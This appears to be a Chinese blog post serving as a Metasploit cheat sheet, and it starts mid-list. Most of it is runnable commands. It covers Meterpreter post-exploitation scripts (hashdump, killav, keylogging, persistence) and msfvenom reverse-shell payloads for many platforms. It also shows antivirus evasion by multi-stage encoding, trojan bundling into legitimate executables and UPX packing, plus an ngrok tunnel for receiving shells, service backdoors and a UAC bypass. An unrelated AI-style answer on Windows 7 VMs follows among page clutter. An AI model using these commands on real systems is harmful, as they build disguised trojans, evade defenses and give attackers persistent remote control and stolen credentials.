autoroute 可以添加,删除,显示路由表

run autoroute  -s

checkvm 可以检测目标是否是虚拟机

run checkvm

domain_list_gen 获取域管理账户列表,并判断当前 session 所在用户是否在列表中

run domain_list_gen

dumplinks Link 文件包含时间戳,文件位置,共享名,卷序列号,等。脚本会在用户目录和 office目录中收集 lnk 文件

run dumplinks Link

调用 post/windows/gather/dumplinks 获取目标主机上最近访问过的文档、链接信息

run  post/windows/gather/dumplinks

duplicate 再次产生 payload,注入到其他进程或打开新进程并注入其中

run  duplicate -e C:/notepad.exe -p 1.1.1.1 -r 1234

enum_chrome 获取 chrome 中的信息

run post/windows/gather/enum_chrome

enum_firefox 获取 firefox 中的信息,包括 cooikie,历史纪录,书签等

 run post/windows/gather/enum_firefox

enum_logged_on_users 列出当前登录的用户

run enum_logged_on_users

enum_powershell_env   列出 powershell 和 WSH 的配置文件

run enum_powershell_envrs

enum_putty 列出 putty 的配置文件

run enum_putty

enum_shares           列出共享及历史共享
enum_vmware           列出vmware的配置文件和产品
event_manager         可以查询和清理事件日志
file_collector        搜索符合指定模式的文件
get_application_list  获取安装的程序列表及版本
getcountermeasure     列出HIPS 和 AV 的进程,显示XP 防火墙规则, 并且显示 DEP和UAC 策略
                      -k 参数可以杀掉防护软件进程
get_env               获取所有用户的环境变量
get_filezilla_creds   获取filezilla的登陆凭证
getgui                可以很方便的开启远程桌面服务,添加用户,端口转发功能
get_local_subnets     获得本地的子网
get_pidgin_creds      获取pidgin配置文件中的用户名和密码
gettelnet             同之前开启终端桌面服务的脚本,这个是用来开启telnet的
get_valid_community   获取SNMP community字符串
getvncpw              获取vnc密码
hashdump              同meterpreter的内置功能
hostsedit             操作hosts文件
keylogrecorder        Meterpreter内置此功能
killav                关闭防护软件
metsvc                将payload安装为服务
migrate               将meterpreter会话移植到另一个进程
persistence           可建立一个持久性的后门,设置成开机启动
service_permissions_escalate    许多服务被配置了不安全 的权限。 这个脚本会尝试创建一个服务, 然后会搜索已存在d服务,找到不安全的文件或配置有问题的文件,用一个payload替换掉他,然后会尝试重启服务来运行这个paylaod,如果重启服务失败,则在下次服务器重启时会执行payload
35.vnc             可以看到远程桌面
win32-sshserver    安装openssh服务
winenum            会自动运行多种命令,将命令结果保存到本地

6、msfvenom 命令 ( 生成 木马 )

metasploit-framework 旗下的 msfpayload(荷载生成器),msfencoder(编码器),msfcli(监听接口)已经被整合成 msfvenom。可以利用 msfvenom 生成木马程序,并且目标机上执行,在本地做监听

6.1 msfvenom 命令行选项

在 kali 的命令行中输入msfvenom -h 就会显示其用法:

msfvenom 命令

中文版 : 

Options:    
-p, --payload    <payload>       指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用&#039;-&#039;或者stdin指定     
-l, --list       [module_type]   列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all     
-n, --nopsled    <length>        为payload预先指定一个NOP滑动长度     
-f, --format     <format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)     
-e, --encoder    [encoder]       指定需要使用的encoder(编码器)     
-a, --arch       <architecture>  指定payload的目标架构,这里x86是32位,x64是64位      
-platform       <platform>       指定payload的目标平台     
-s, --space      <length>        设定有效攻击荷载的最大长度     
-b, --bad-chars  <list>          设定规避字符集,比如: &#039;x00xff&#039;     
-i, --iterations <count>         指定payload的编码次数     
-c, --add-code   <path>          指定一个附加的win32 shellcode文件     
-x, --template   <path>          指定一个自定义的可执行文件作为模板     
-k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行         
--payload-options                列举payload的标准选项     
-o, --out        <path>          保存payload     
-v, --var-name   <name>          指定一个自定义的变量,以确定输出格式         
--shellest                       最小化生成payload     
-h, --help                       查看帮助选项         
--help-formats                   查看msf支持的输出格式列表

6.2  生成 payload

生成不经过编码的普通 payload。(不编码 -> 生成内容固定 -> 直接被杀)

命令:msfvenom -p <payload> <payload options> -f <format> -o <path>

示例:msfvenom –p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=12138 –f exe –o shell.exe

经过编码器处理后生成 payload

命令:msfvenom -p <payload> -e <encoder > -i <encoder times> -n <nopsled> -f <format> -o <path>

示例:msfvenom –p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=12138 –i 3 –e x86/shikata_ga_nai –f exe –o shell.exe

捆绑到正常文件后生成 payload

msfvenom –p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=12138 –platform windows –a x86 –x calc.exe –k –f exe –o shell.exe

6.3 常用 payload

下面是生成后门木马,只要想方设法放到目标机器上并运行。然后在本地监听端口即可,但是你需要有一个公网的 ip。

命令格式:msfvenom -p <payload> <payload options> -f <format> -o <path>

Linux

# 反向连接
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
# 正向连接
msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=<Target IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

用法:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

示例:https://zhuanlan.zhihu.com/p/114973728

命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.73.129 LPORT=4321 -f exe -o ailx13_love.exe

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > info
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.73.129
msf6 exploit(multi/handler) > set LPORT 4321
msf6 exploit(multi/handler) > exploit                 或者执行 run 

流程总结:

  • 1. 先生成木马程序
  • 2. 之后进入msfconsole,使用监听模块 use exploit/multi/handler
  • 3. 设置 payload。set payload windows/meterpreter/reverse_tcp
  • 4. 设置监听端口和 ip 与之前生成的木马一致
  • 5. 开始执行监听,等待木马进行连接。exploit 或者执行 run 

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

Android

Java

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '
' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.wa

Python

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

生成 dll

6.4 免杀

搜索:msfvenom  免杀木马

在线扫描:https://www.virscan.org/

VirSCAN.org 是一个非盈利性的免费为广大网友服务的网站,它通过多种不同厂家提供的最新版本的病毒检测引擎对您上传的可疑文件进行在线扫描,并可以立刻将检测结果显示出来。( 生成木马后,可以使用在线扫描,看下效果如何 )

多重编码

示例:msfvenom -p windows/meterpreter/reverse_tcp lhost=<Your IP Address> lport=<Your Port to Connect On> -e x86/shikata_ga_nai -i 20 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 10 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -x calc.exe -f exe -o shell.exe

这里使用管道让 msfvenom 对攻击载荷多重编码,先用 shikata_ga_nai 编码20次,接着来10 次的 alpha_upper 编码,再来10次的 countdown 编码,最后才生成以 calc.exe 为模板的可执行文件。

示例:msfvenom -a x86 --platform -p windows/meterpreter/reverse_tcp lhost=10.250.70.251 lport=5555  -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 10 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -x  -f exe -o /root/b.exe  

木马捆绑

(主程序启动之后子程序随之启动)

msfvenom -a x86  --platform windows -p windows/meterpreter/reverse_tcp lhost=10.250.70.251 lport=5555 -f exe -x Everything.exe  -o /root/Everything2.exe 

加壳

对生成的木马进行 upx 加壳:upx shell.exe 。不过现在的杀毒软件越来越nb,一般免杀也已经不好过。

parrot 使用 ngrok+msfvenom 穿透反弹 shell

攻击机 parrot ip:192.168.127.131

目标机器 windows ip :192.168.43.27

首先两台机器不在一个网端,自然是无法 ping 通。这里模仿目标机器在公网,攻击机器在内网。攻击机器怎样通过 ngrok 代理来接受弹回来的 shell

1.在ngrok官网注册账号,并开通免费账号

官网地址:http://www.ngrok.cc

创建成功后: 

2.下载 ngrok 客户端

内网转发:https://www.ngrok.cc/download.html

我这里使用的是 parrot。所以选择 linux 版本,文件解压后得到:sunny

3.启动sunny,开启转发

执行命令 :./sunny clientid 隧道id

4.配置木马来反弹shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=free.idcfengye.com LPORT=14001 -f exe -o ./test.exe

其中LHOST,LPORT均为ngrok代理服务器地址与端口

5.攻击机本地msf监听

use exploit/multi/handle
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.127.131
set lport 9876
run 
 

6.目标机器执行木马

7、获取 meterpreter

root @ kali:〜#msfconsole
msf>use  exploit/multi /handler
msf exploit(handler)> set  PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => window /meterpreter/reverse_tcp
msf exploit(handler)> set LHOST 0.0.0.0
msf exploit(handler)>set  LPORT  444
msf exploit(handler)>show options
msf exploit(handler)>run

8、后渗透 ( 也叫:维持访问,持续性后门 )

8.1 metsvc 后渗透攻击模块

metsvc 后渗透攻击模块其实就是将 Meterpreter 以系统服务的形式安装到目标主机,它会上传三个文件:
metsvc.dll
metsvc-service.exe
metsvc.exe

run  metsvc

执行过程:在目标主机上创建一个监听31337端口的服务->在目标主机c:\windows\temp\下创建一个存放后门服务有关文件程序的目录,并上传metsrv.x86.dll、metsvc-server.exe、metsvc.exe三个文件到该目录下->开启服务

在目标主机上看到 31337 号端口已开,且服务多了一个 meterpreter (如下图)

然后连接后门

use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set RHOST 192.168.1.104
set LPORT 31337
run

8.2 persistence 模块后门

run persistence -X -i 5 -p 23333 -r 192.168.1.107

然后退出重新配置监听器:

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.107
set LPORT 2241
exploit

9、meterpreter 绕过 uac ( 用户帐户控制 )

用户帐户控制(User Account Control,简写作UAC) 是微软公司在其 Windows Vista 及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。

由于绕过 UAC 的功能需在 meterpreter 的shell 才能实现。因此,我们首先要做的就是取得目标机器的 meterpreter shell

use exploit/windows/local/ask
show options
set session 1
exploit

当我们成功执行以上命令后,我们会在目标系统上弹出一个确认框只要点击确认即可成功绕过(由于目标系统没有开启uac,这里只是使用命令作为演示)

  • 1
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
对于渗透测试,使用虚拟机是一个常见的做法,因为它提供了一个隔离的环境,可以安全地进行各种测试。如果你想在虚拟机中运行Windows 7,你可以按照以下步骤进行操作: 1. 虚拟化软件:首先,你需要选择一个虚拟化软件,比如VirtualBox、VMware Workstation或者VMware Player。这些软件都支持在它们的虚拟机中运行Windows 7。 2. 下载Windows 7 ISO文件:在安装Windows 7之前,你需要下载Windows 7的ISO镜像文件。这个文件包含了安装Windows 7所需的所有文件。 3. 创建新的虚拟机:打开虚拟化软件,创建一个新的虚拟机。在创建过程中,选择Windows 7作为操作系统,并指定从步骤2中下载的ISO文件作为安装媒介。 4. 安装Windows 7:启动虚拟机,并按照屏幕上的指示安装Windows 7。这个过程与在实际硬件上安装Windows 7类似。 5. 配置网络:一旦安装完成,配置虚拟机的网络设置,以便它可以与其他设备通信。你可以选择桥接模式、NAT模式或者仅主机模式,具体取决于你的需求。 6. 更新和配置:安装完Windows 7后,记得更新操作系统并配置它以满足你的需求。你可能需要安装防火墙、杀毒软件等工具来提高安全性。 完成上述步骤后,你就可以在Windows 7虚拟机中进行渗透测试了。请注意,在进行任何渗透测试之前,确保你已经获得了合法授权,并且只在授权范围内进行测试。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值